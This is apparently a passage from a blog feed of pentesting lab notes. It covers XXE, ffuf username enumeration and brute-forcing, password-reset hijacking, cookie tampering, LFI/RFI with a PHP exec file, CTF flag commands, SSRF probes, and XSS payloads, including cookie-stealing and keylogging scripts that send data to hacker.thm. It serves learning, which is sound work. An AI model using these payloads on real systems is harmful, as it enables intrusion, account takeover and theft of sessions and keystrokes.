&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE foo [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ELEMENT foo ANY &amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY xxe SYSTEM &amp;#34;http://localhost:10/&amp;#34; &amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;contact&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;&amp;amp;xxe;&lt;span style="color:#f92672"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;email&amp;gt;&lt;/span&gt;test@test.com&lt;span style="color:#f92672"&gt;&amp;lt;/email&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;message&amp;gt;&lt;/span&gt;test&lt;span style="color:#f92672"&gt;&amp;lt;/message&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/contact&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Web Fundamentals 2</title><link>https://silent-resistor.github.io/resources/jr-pentester/web-fundamentals-2/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/web-fundamentals-2/</guid><description>&lt;h2 id="username-enumeration-with-ffuf"&gt;Username enumeration with ffuf&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;listing all the available usernames of the website.&lt;/li&gt;
&lt;li&gt;FUZZ keyword in the data, is being replaced by usernames in the wordlist&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d &lt;span style="color:#e6db74"&gt;&amp;#34;username=FUZZ&amp;amp;email=x&amp;amp;password=x&amp;amp;cpassword=x&amp;#34;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt; -u http://MACHINE_IP/customers/signup -mr &lt;span style="color:#e6db74"&gt;&amp;#34;username already exists&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;brute forcing the login with avaiable usernames, assumed output from above pasted into valid_usernames.txt&lt;/li&gt;
&lt;li&gt;her we have two wordlist, so we have given them our own FUZZ keyword&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt:W2 -X POST -d &lt;span style="color:#e6db74"&gt;&amp;#34;username=W1&amp;amp;password=W2&amp;#34;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt; -u http://10.48.174.24/customers/login -fc &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="taking-advantage-of-flaw-in-application-logic"&gt;Taking Advantage of flaw in application logic&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We know the parameters can be sent using either query in url, or in the payload.&lt;/li&gt;
&lt;li&gt;In a given scenario of task, application prefers the parameter in payload than in the query&lt;/li&gt;
&lt;li&gt;So, we know supposed to get this worked out to fake&lt;/li&gt;
&lt;li&gt;i have created my own account with, username:silent, email:silent@customer.acmeitsupport.thm, password:silent&lt;/li&gt;
&lt;li&gt;Assuming im attacking the user: &lt;code&gt;robor&lt;/code&gt; now&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl &lt;span style="color:#e6db74"&gt;&amp;#39;http://10.48.174.24/customers/reset?email=robert%40=acmeitsupport.thm&amp;#39;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#39;Content-Type: application/x-www-form-urlencoded&amp;#39;&lt;/span&gt; -d &lt;span style="color:#e6db74"&gt;&amp;#39;username=robert&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Now overiding the query paramerter with payload&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl &lt;span style="color:#e6db74"&gt;&amp;#39;http://10.48.174.24/customers/reset?email=robert%40acmeitsupport.thm&amp;#39;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#39;Content-Type: application/x-www-form-urlencoded&amp;#39;&lt;/span&gt; -d &lt;span style="color:#e6db74"&gt;&amp;#39;username=robert&amp;amp;email=silent@customer.acmeitsupport.thm&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;NOw you will have a direct link on your email to reset the password of robert&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cookie-tampering"&gt;Cookie tampering&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;we can do a little impersonization with the cookie tampering, steal others cookies and use them.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http:10.48.174.24/cookie-test &lt;span style="color:#75715e"&gt;#Not logged&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -H &lt;span style="color:#e6db74"&gt;&amp;#34;Set-Cookie: logged_in=true; admin=false&amp;#34;&lt;/span&gt; http:10.48.174.24/cookie-test &lt;span style="color:#75715e"&gt;#Loggedin as user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -H &lt;span style="color:#e6db74"&gt;&amp;#34;Set-Cookie: logged_in=true; admin=true&amp;#34;&lt;/span&gt; http:10.48.174.24/cookie-test &lt;span style="color:#75715e"&gt;#Loggedin as the admn&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;sometimes cookies can be in form of the hashes like md5sum,sha256,sha512,sha1. These can be somehow (sometimes) cracked with &lt;code&gt;http://crackstation.net&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Also, cookies also can be in encoded form like base64, use &lt;code&gt;base64 --decode&lt;/code&gt; command to decode&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="file-inclusion-lfi-rfi-path-traversal"&gt;File inclusion (LFI, RFI, Path traversal)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The main issue of these vulnerabilities is the input validation, in which the user inputs are not sanitized or validated, and the user controls them. When the input is not validated, the user can pass any input to the function, causing the vulnerability.&lt;/li&gt;
&lt;li&gt;This can leak data, such as code, credentials or other important files related to the web application or operating system, also leads to gain RCE if attacker has capability to write to server by any other means&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="path-traversal"&gt;Path Traversal:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;This occur when the user&amp;rsquo;s input is passed to a function such as file_get_contents in PHP due to Often poor input validation or filtering is the cause of the vulnerability.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://webapp.thm/get.php?file&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../etc/passwd &lt;span style="color:#75715e"&gt;# in linux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://webapp.thm/get.php?file&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../boot.ini &lt;span style="color:#75715e"&gt;# in windows&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://webapp.thm/get.php?file&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../boot.ini &lt;span style="color:#75715e"&gt;# in windows&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /etc/shadow --&amp;gt; contains systems&amp;#39;s user passwords&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /etc/profile --&amp;gt; controls system wide default varibles such as Export variables, File creation mask, terminal types, Mail messages to indicate new mail has arrived&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /proc/version --&amp;gt; kernal version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /root/.bash_history --&amp;gt; contains root&amp;#39;s history commands&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /var/mail/root --&amp;gt; all root&amp;#39;s mails&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /etc/issue --&amp;gt; contains messages to be printed before the login prompt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="local-file-inclusion-lfi"&gt;Local File Inclusion (LFI):&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;With PHP, using functions such as include, require, include_once, and require_once often contribute to vulnerable web applications.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://webapp.thm/index.php?lang&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Using null bytes is an injection technique where URL-encoded representation such as %00 or 0x00 in hex with user-supplied data to terminate strings. You could think of it as trying to trick the web app into disregarding whatever comes after the Null Byte&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://webapp.thm/index.php?lang&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/etc/passwd%00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#developer decided to filter keywords to avoid disclosing sensitive information! Now we have this trick to bypass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://webapp.thm/index.php?lang&lt;span style="color:#f92672"&gt;=&lt;/span&gt; /etc/passwd/.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="remote-file-inclusion---rfi"&gt;Remote File Inclusion - RFI&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;RFI is a technique to include remote files into a vulnerable application&lt;/li&gt;
&lt;li&gt;One requirement for RFI is that the allow_url_fopen option needs to be on.&lt;/li&gt;
&lt;li&gt;An external server must communicate with the application server for a successful RFI attack where the attacker hosts malicious files on their server. Then the malicious file is injected into the include function via HTTP requests, and the content of the malicious file executes on the vulnerable application server.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt; EOF &amp;gt; cmd.php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;gt;&amp;gt; &amp;lt;?PHP print exec(&amp;#39;hostname&amp;#39;); ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;gt;&amp;gt; EOF&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m http.server &lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt; &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://local_ip:4444/cmd.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Now we have the script loacted at the remote server, lets see the action now&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# it will run the remote script in the webserver, and returen the output back on browser&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://webapp.thm/index.php?lang&lt;span style="color:#f92672"&gt;=&lt;/span&gt;http://local_ip:4444/cmd.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="solutions-to-the-challanges"&gt;solutions to the challanges&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;challange1:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -X POST -d &lt;span style="color:#e6db74"&gt;&amp;#39;file=/etc/flag1&amp;#39;&lt;/span&gt; http://10.49.163.168/challenges/chall1.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;challange2:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl --cookies THM&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/etc/flag2%00 http://10.49.163.168/challenges/chall2.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;challange3:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -X POST -d &lt;span style="color:#e6db74"&gt;&amp;#39;file=../../../../etc/flag3%00&amp;#39;&lt;/span&gt; http://10.49.163.168/challenges/chall3.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="server-side-request-forgery-ssrf"&gt;Server-Side Request Forgery (SSRF)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A vulnerability that allows a malicious user to cause the webserver to make an additional or edited HTTP request to the resource of the attacker&amp;rsquo;s choosing.&lt;/li&gt;
&lt;li&gt;Two types of SSRF vulnerability; the first is a regular SSRF where data is returned to the attacker&amp;rsquo;s screen. The second is a Blind SSRF vulnerability where an SSRF occurs, but no information is returned to the attacker&amp;rsquo;s screen.&lt;/li&gt;
&lt;li&gt;Identifying this vulnerability:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#When a full URL is used in a parameter in the address bar:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl https://website/form?server&lt;span style="color:#f92672"&gt;=&lt;/span&gt;http://server.website.thm/store
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#A partial URL such as just the hostname:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl https://website.thm/form?server&lt;span style="color:#f92672"&gt;=&lt;/span&gt;api
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Or perhaps only the path of the URL:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://website.thm/form?dst&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/forms/contact
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#or probebly hidden inside of form, inspect the html content of form&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="cross-site-scripting-xss"&gt;Cross-site scripting (XSS)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript (payload) gets injected into a web application with the intention of being executed by other users.&lt;/li&gt;
&lt;li&gt;This is the simplest of payloads, to create an alert box to pop up on the page with a string of text, for example: &lt;code&gt;&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Session stealing: User&amp;rsquo;s session such as login tokens, are often kept in cookies on the target machines. Below java script takes the target&amp;rsquo;s cookie, encodes it with base64 for successful transmission and posts it to a website under the hacker&amp;rsquo;s control to be logged.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;script&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;fetch&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;https://hacker.thm/steal?cookie=&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;btoa&lt;/span&gt;(document.&lt;span style="color:#a6e22e"&gt;cookie&lt;/span&gt;));&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Key logger: Anything you type on webpage will be forwarded to website under the hacker&amp;rsquo;s control&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;script&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;document.&lt;span style="color:#a6e22e"&gt;onkeypress&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) { &lt;span style="color:#a6e22e"&gt;fetch&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;https://hacker.thm/log?key=&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;btoa&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;) );}&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Bussiness logic: this payload would be calling a particular network resource or a javascript function. Lets say fuction changing the user&amp;rsquo;s email address called &lt;code&gt;user.changeEmail()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;script&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;user&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;changeEmail&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;attacker@hacker.thm&amp;#39;&lt;/span&gt;);&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="reflected-xss"&gt;Reflected XSS&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.&lt;/li&gt;
&lt;li&gt;A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="stored-xss"&gt;Stored XSS&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="dom-based-xss"&gt;DOM BAsed XSS&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content.&lt;/li&gt;
&lt;li&gt;A web page is a document, and this document can be either displayed in the browser window or as the HTML source.&lt;/li&gt;
&lt;li&gt;DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction.&lt;/li&gt;
&lt;li&gt;Perfecting the payload&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# escaping the tags
&amp;lt;h2&amp;gt; THM &amp;lt;/h2&amp;gt;
&amp;lt;h2&amp;gt;&amp;lt;script&amp;gt;alert(&amp;#39;THM&amp;#39;)&amp;lt;/script&amp;gt;&amp;lt;/h2&amp;gt;

# To escape the input tag, we can make use of &amp;#34;&amp;gt;. You can do this with the following payload:
&amp;lt;h2&amp;gt; &amp;lt;input value=&amp;#34;THM&amp;#34;&amp;gt;&amp;lt;/h2&amp;gt;
&amp;lt;h2&amp;gt; &amp;lt;input value=&amp;#34;&amp;#34;&amp;gt;&amp;lt;script&amp;gt;alert(&amp;#39;THM&amp;#39;);&amp;lt;/script&amp;gt;&amp;#34;&amp;gt;&amp;lt;/h2&amp;gt;

# To escape the textarea tag a little differently from the input one by using the following payload: 
&amp;lt;h2&amp;gt; &amp;lt;textarea&amp;gt;THM&amp;lt;/textarea&amp;gt;&amp;lt;/h2&amp;gt;
&amp;lt;h2&amp;gt; &amp;lt;textarea&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(&amp;#39;THM&amp;#39;);&amp;lt;/script&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/h2&amp;gt;

# To escape the existing JavaScript command, so you&amp;#39;re able to run your code; you can do this with the following payload 
document.getElementByClassName(&amp;#39;name&amp;#39;)[0].innerHTML = &amp;#39;THM&amp;#39;;
document.getElementByClassName(&amp;#39;name&amp;#39;)[0].innerHTML = &amp;#39;&amp;#39;;alert(&amp;#39;THM&amp;#39;);//&amp;#39;;

# When word script gets removed from your payload, that&amp;#39;s because there is a filter that strips out any potentially dangerous words. When a word gets removed from a string, there&amp;#39;s a helpful trick that you can try. 
&amp;lt;sscriptcript&amp;gt;alert(&amp;#39;THM&amp;#39;);&amp;lt;/sscriptcript&amp;gt; --&amp;gt; &amp;lt;script&amp;gt;alert(&amp;#39;THM&amp;#39;);&amp;lt;/script&amp;gt;
 
# To escape from the image tag
&amp;lt;img src=&amp;#34;/images/cat.jpg&amp;#34; &amp;gt;
&amp;lt;img src=&amp;#34;/images/cat.jpg&amp;#34; onload=&amp;#34;alert(&amp;#39;THM&amp;#39;); &amp;#34;&amp;gt; 

# An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. You could have used the below polyglot on all six levels you&amp;#39;ve just completed, and it would have executed the code successfully. 

jaVasCript:/*-/*`/*\`/*&amp;#39;/*&amp;#34;/**/(/* */onerror=alert(&amp;#39;THM&amp;#39;) )//%0D%0A%0d%0a//&amp;lt;/stYle/&amp;lt;/titLe/&amp;lt;/teXtarEa/&amp;lt;/scRipt/--!&amp;gt;\x3csVg/&amp;lt;sVg/oNloAd=alert(&amp;#39;THM&amp;#39;)//&amp;gt;\x3e
